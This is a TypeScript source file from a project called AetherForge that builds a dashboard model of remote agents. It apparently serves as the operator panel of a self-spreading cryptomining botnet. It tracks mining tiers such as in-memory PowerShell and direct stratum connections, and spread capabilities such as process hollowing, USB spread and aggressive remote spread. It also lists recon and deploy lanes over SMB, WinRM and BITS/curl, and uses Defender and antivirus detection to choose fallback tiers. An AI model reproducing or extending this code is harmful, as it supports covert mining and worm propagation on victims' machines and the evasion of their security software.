AetherForge/server/web/src/help/accessDepth.ts

import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { isAndroidPlatform, platformLabel } from './platform';
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';

/** Mirrors agent/miner/environment_probe.go */
export interface EnvironmentProbes {
  docker?: boolean;
  wsl?: boolean;
  pwsh?: boolean;
  dotnet?: boolean;
  gpu?: boolean;
  av_blocks_exe?: boolean;
  webview2?: boolean;
  wifi?: boolean;
  battery?: boolean;
  foreground_service?: boolean;
}

export interface StrategyReason {
  fact: string;
  inference: string;
  action: string;
}

export interface AdaptiveStrategyView {
  tier_order?: string[];
  skip_tiers?: string[];
  reasoning?: StrategyReason[];
  confidence?: number;
  updated_at?: string;
}

export interface AtlasSkipView {
  tier: string;
  condition: string;
  reason: string;
}

export interface AccessDepthDiagnostics {
  environment_probes?: EnvironmentProbes;
  tier_chain_order?: string[];
  tier_chain_skipped?: string[];
  atlas_skips?: AtlasSkipView[];
  lotl_tier?: string;
  lotl_attempts?: TierAttempt[];
  active_method?: string;
  execution_mode?: string;
  adaptive_strategy?: AdaptiveStrategyView;
  strategy_reasoning?: StrategyReason[];
}

export interface AccessDepthServerPolicy {
  lotl_onion_tiers?: string[];
  mining_tier_order?: string[];
  mining_skip_tiers?: string[];
  graft_enabled?: boolean;
  triple_onion?: {
    recon_tiers?: string[];
    deploy_lanes?: string[];
  };
}

export interface ProbeChip {
  key: string;
  label: string;
  ok: boolean;
}

export interface AccessDepthAttemptRow {
  tier: string;
  label: string;
  ok: boolean;
  error?: string;
  phase?: string;
}

export interface OnionTierRow {
  index: number;
  tier: string;
  label: string;
  status: 'active' | 'skipped' | 'skipped_by_atlas' | 'pending' | 'done' | 'failed' | 'neutral';
  atlasCondition?: string;
}

export interface AccessDepthModel {
  platformLabel: string;
  osLine: string;
  probes: ProbeChip[];
  spreadCaps: string[];
  privilegeHints: string[];
  activeTier?: string;
  activeTierLabel?: string;
  joinLane?: string;
  succeeded: AccessDepthAttemptRow[];
  failed: AccessDepthAttemptRow[];
  inProgressTier?: string;
  inProgressLabel?: string;
  pendingTiers: string[];
  pendingLabels: string[];
  miningOnion: OnionTierRow[];
  spreadOnion: OnionTierRow[];
  tripleOnionSummary?: string;
  miningOrderSource: 'agent' | 'server' | 'default' | 'adaptive';
  adaptiveActive: boolean;
  strategyReasoning: StrategyReason[];
  adaptiveConfidence?: number;
  atlasSkips: AtlasSkipView[];
  phenotypeSource?: string;
  phenotypeSpreadLane?: string;
}

/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
export const DEFAULT_MINING_TIER_ORDER = [
  'exe_subprocess',
  'docker_load',
  'container',
  'wsl',
  'ps_inmemory',
  'cpu_inprocess',
  'gpu_subprocess',
  'stratum_direct',
] as const;

/** APK fleet-node mining path — foreground service then in-process CPU. */
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;

/** Virtual timeline row summarizing skipped desktop tiers on Android. */
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';

const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
const DEFAULT_TRIPLE_DEPLOY = [
  'discover_and_join',
  'docker',
  'wsl',
  'powershell',
  'dotnet',
  'bits_curl',
  'smb',
  'winrm',
];

export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
  if (!raw || typeof raw !== 'object') return undefined;
  const row = raw as Record<string, unknown>;
  const probes: EnvironmentProbes = {};
  for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
    if (typeof row[key] === 'boolean') probes[key] = row[key];
  }
  return Object.keys(probes).length > 0 ? probes : undefined;
}

export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
  const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
  const tier_chain_order = Array.isArray(raw.tier_chain_order)
    ? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
    : undefined;
  const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
    ? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
    : undefined;
  const lotl_tier =
    (typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
    (typeof raw.active_tier === 'string' && raw.active_tier) ||
    undefined;

  const adaptive = parseAdaptiveStrategy(raw.adaptive_strategy);
  const reasoning = parseStrategyReasoning(raw.strategy_reasoning) ?? adaptive?.reasoning;
  const atlas_skips = parseAtlasSkips(raw.atlas_skips);

  return {
    environment_probes: parseEnvironmentProbes(raw.environment_probes),
    tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
    tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
    atlas_skips,
    lotl_tier,
    lotl_attempts: attempts.length ? attempts : undefined,
    active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
    execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
    adaptive_strategy: adaptive,
    strategy_reasoning: reasoning,
  };
}

function parseStrategyReasoning(raw: unknown): StrategyReason[] | undefined {
  if (!Array.isArray(raw)) return undefined;
  const out: StrategyReason[] = [];
  for (const row of raw) {
    if (!row || typeof row !== 'object') continue;
    const r = row as Record<string, unknown>;
    if (typeof r.fact !== 'string' || typeof r.inference !== 'string' || typeof r.action !== 'string') {
      continue;
    }
    out.push({ fact: r.fact, inference: r.inference, action: r.action });
  }
  return out.length ? out : undefined;
}

function parseAdaptiveStrategy(raw: unknown): AdaptiveStrategyView | undefined {
  if (!raw || typeof raw !== 'object') return undefined;
  const row = raw as Record<string, unknown>;
  const tier_order = Array.isArray(row.tier_order)
    ? row.tier_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
    : undefined;
  const skip_tiers = Array.isArray(row.skip_tiers)
    ? row.skip_tiers.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
    : undefined;
  const reasoning = parseStrategyReasoning(row.reasoning);
  const confidence = typeof row.confidence === 'number' ? row.confidence : undefined;
  const updated_at = typeof row.updated_at === 'string' ? row.updated_at : undefined;
  if (!tier_order?.length && !reasoning?.length) return undefined;
  return { tier_order, skip_tiers, reasoning, confidence, updated_at };
}

function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
  if (a.length !== b.length) return true;
  return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
}

function androidDesktopSkipped(): string[] {
  return DEFAULT_MINING_TIER_ORDER.filter(
    (t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
  );
}

function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
  if (isAndroidPlatform(agent.platform)) {
    const p = probes ?? {};
    return [
      { key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
      { key: 'battery', label: 'Battery', ok: p.battery === true },
      { key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
    ].filter((c) => c.ok || probes != null);
  }
  const p = probes ?? {};
  const chips: ProbeChip[] = [
    { key: 'docker', label: 'Docker', ok: p.docker === true },
    { key: 'wsl', label: 'WSL', ok: p.wsl === true },
    { key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
    { key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
    { key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
    { key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
  ];
  if (p.av_blocks_exe === true) {
    chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
  }
  return chips.filter((c) => c.ok || probes != null);
}

function parseAtlasSkips(raw: unknown): AtlasSkipView[] | undefined {
  if (!Array.isArray(raw)) return undefined;
  const out: AtlasSkipView[] = [];
  for (const row of raw) {
    if (!row || typeof row !== 'object') continue;
    const r = row as Record<string, unknown>;
    if (typeof r.tier !== 'string' || typeof r.condition !== 'string') continue;
    out.push({
      tier: r.tier,
      condition: r.condition,
      reason: typeof r.reason === 'string' ? r.reason : '',
    });
  }
  return out.length ? out : undefined;
}

export function atlasConditionLabel(condition: string): string {
  switch (condition) {
    case 'defender_on':
      return 'Defender on';
    case 'no_docker':
      return 'no Docker';
    case 'av_blocks_exe':
      return 'AV blocks exe';
    case 'goos=windows':
      return 'Windows';
    case 'goos=linux':
      return 'Linux';
    default:
      return condition.replace(/_/g, ' ');
  }
}

export function atlasSkipDisplayLabel(skip: AtlasSkipView): string {
  return `${formatLotlTierLabel(skip.tier)} (${atlasConditionLabel(skip.condition)})`;
}

function spreadCapabilities(agent: Agent): string[] {
  const caps = agent.capabilities;
  const out: string[] = [];
  if (caps?.auto_spread) out.push('auto_spread');
  if (caps?.mesh_p2p) out.push('mesh_p2p');
  if (caps?.hole_punch) out.push('hole_punch');
  if (caps?.process_hollowing) out.push('process_hollowing');
  if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
  if (caps?.remote_aggressive) out.push('remote_aggressive');
  return out;
}

function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
  const hints: string[] = [];
  if (agent.agent_elevated === true) hints.push('elevated');
  else if (agent.agent_elevated === false) hints.push('standard user');
  if (agent.defender_rtp === true) hints.push('Defender RTP on');
  else if (agent.defender_enabled === true) hints.push('Defender on');
  if (agent.ssh_available === true) hints.push('SSH reachable');
  if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
  if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
  return hints;
}

function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
  return attempts.map((a) => ({
    tier: a.tier,
    label: formatLotlTierLabel(a.tier),
    ok: a.ok,
    error: a.error,
    phase: a.phase,
  }));
}

function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
  return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
}

function resolveMiningOrder(
  diag: AccessDepthDiagnostics | undefined,
  policy: AccessDepthServerPolicy | undefined,
  agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
  if (isAndroidPlatform(agent.platform)) {
    const order = diag?.tier_chain_order?.length
      ? diag.tier_chain_order
      : [...ANDROID_MINING_TIER_ORDER];
    const skipped = diag?.tier_chain_skipped?.length
      ? diag.tier_chain_skipped
      : androidDesktopSkipped();
    return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
  }
  if (diag?.adaptive_strategy?.tier_order?.length) {
    const adaptiveOrder = diag.adaptive_strategy.tier_order;
    const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
    if (adaptiveActive || (diag.strategy_reasoning?.length ?? 0) > 0) {
      return {
        order: adaptiveOrder,
        skipped: diag.adaptive_strategy.skip_tiers ?? diag.tier_chain_skipped ?? [],
        source: 'adaptive',
      };
    }
  }
  if (diag?.tier_chain_order?.length) {
    return {
      order: diag.tier_chain_order,
      skipped: diag.tier_chain_skipped ?? [],
      source: 'agent',
    };
  }
  if (policy?.mining_tier_order?.length) {
    return {
      order: policy.mining_tier_order,
      skipped: policy.mining_skip_tiers ?? [],
      source: 'server',
    };
  }
  if (agent.chain_order?.length) {
    return {
      order: agent.chain_order,
      skipped: [],
      source: 'agent',
    };
  }
  return {
    order: [...DEFAULT_MINING_TIER_ORDER],
    skipped: diag?.tier_chain_skipped ?? [],
    source: 'default',
  };
}

function buildOnionRows(
  order: string[],
  skipped: string[],
  attempts: TierAttempt[],
  activeTier?: string,
  atlasSkips: AtlasSkipView[] = [],
): OnionTierRow[] {
  const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
  const atlasByTier = new Map<string, AtlasSkipView>();
  for (const skip of atlasSkips) {
    atlasByTier.set(skip.tier.toLowerCase(), skip);
  }
  const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
  const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
  const active = activeTier?.toLowerCase();

  const orderLower = new Set(order.map((s) => s.toLowerCase()));
  const fullOrder = [
    ...order,
    ...skipped.filter((s) => !orderLower.has(s.toLowerCase())),
    ...atlasSkips.map((s) => s.tier).filter((s) => !orderLower.has(s.toLowerCase()) && !skippedSet.has(s.toLowerCase())),
  ];

  return fullOrder.map((tier, i) => {
    const key = tier.toLowerCase();
    const atlas = atlasByTier.get(key);
    let status: OnionTierRow['status'] = 'neutral';
    if (active && key === active) status = 'active';
    else if (atlas) status = 'skipped_by_atlas';
    else if (skippedSet.has(key)) status = 'skipped';
    else if (okSet.has(key)) status = 'done';
    else if (failSet.has(key)) status = 'failed';
    else status = 'pending';

    return {
      index: i + 1,
      tier,
      label: formatLotlTierLabel(tier),
      status,
      atlasCondition: atlas?.condition,
    };
  });
}

function computePendingTiers(
  order: string[],
  skipped: string[],
  attempts: TierAttempt[],
): string[] {
  const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
  const touched = uniqueAttemptTiers(attempts);
  return order.filter((t) => {
    const key = t.toLowerCase();
    return !skippedSet.has(key) && !touched.has(key);
  });
}

function detectInProgress(
  agent: Agent,
  attempts: TierAttempt[],
  pending: string[],
  activeTier?: string,
): string | undefined {
  if (agent.status !== 'online') return undefined;
  if (activeTier) {
    const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
    if (!lastForActive || !lastForActive.ok) return activeTier;
  }
  return pending[0];
}

export function buildAccessDepthModel(
  agent: Agent,
  diagnostics?: AccessDepthDiagnostics,
  policy?: AccessDepthServerPolicy,
): AccessDepthModel {
  const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
  const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
  const atlasSkips = diagnostics?.atlas_skips ?? [];
  const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
  const pending = computePendingTiers(order, skipped, attempts);
  const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);

  const spreadOrder = isAndroidPlatform(agent.platform)
    ? []
    : policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
      ? policy.lotl_onion_tiers
      : [...DEFAULT_LOTL_ONION_TIERS];

  const recon = policy?.triple_onion?.recon_tiers?.length
    ? policy.triple_onion.recon_tiers
    : DEFAULT_TRIPLE_RECON;
  const deploy = policy?.triple_onion?.deploy_lanes?.length
    ? policy.triple_onion.deploy_lanes
    : DEFAULT_TRIPLE_DEPLOY;

  const osParts = [platformLabel(agent.platform)];
  if (agent.os_version) osParts.push(agent.os_version);
  if (agent.arch) osParts.push(agent.arch);

  const miningOnion = isAndroidPlatform(agent.platform)
    ? [
        ...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
        {
          index: ANDROID_MINING_TIER_ORDER.length + 1,
          tier: ANDROID_DESKTOP_SKIPPED_TIER,
          label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
          status: 'skipped' as const,
        },
      ]
    : buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);

  return {
    platformLabel: platformLabel(agent.platform),
    osLine: osParts.join(' · '),
    probes: probeChips(diagnostics?.environment_probes, agent),
    spreadCaps: spreadCapabilities(agent),
    privilegeHints: privilegeHints(agent, diagnostics),
    activeTier,
    activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
    joinLane: agent.join_lane,
    succeeded: attemptRows(attempts.filter((a) => a.ok)),
    failed: attemptRows(attempts.filter((a) => !a.ok)),
    inProgressTier,
    inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
    pendingTiers: pending,
    pendingLabels: pending.map(formatLotlTierLabel),
    miningOnion,
    spreadOnion: spreadOrder.map((tier, i) => ({
      index: i + 1,
      tier,
      label: formatLotlTierLabel(tier),
      status: 'neutral' as const,
    })),
    tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}…`,
    miningOrderSource: source,
    adaptiveActive: source === 'adaptive',
    strategyReasoning: diagnostics?.strategy_reasoning ?? diagnostics?.adaptive_strategy?.reasoning ?? [],
    adaptiveConfidence: diagnostics?.adaptive_strategy?.confidence,
    atlasSkips,
    phenotypeSource: agent.inherited_phenotype?.source_agent_name,
    phenotypeSpreadLane: agent.inherited_phenotype?.spread_lane,
  };
}

export function parseAccessDepthServerPolicy(config: {
  server?: {
    lotl_onion_tiers?: string[];
    ai_control_enabled?: boolean;
    fleet_roles_enabled?: boolean;
    triple_onion_policy?: {
      recon_tiers?: string[];
      deploy_lanes?: string[];
    };
  };
}): AccessDepthServerPolicy {
  const server = config.server;
  const graftEnabled =
    server?.ai_control_enabled === true && server?.fleet_roles_enabled === true;
  return {
    lotl_onion_tiers: server?.lotl_onion_tiers,
    mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
    graft_enabled: graftEnabled,
    triple_onion: server?.triple_onion_policy
      ? {
          recon_tiers: server.triple_onion_policy.recon_tiers,
          deploy_lanes: server.triple_onion_policy.deploy_lanes,
        }
      : undefined,
  };
}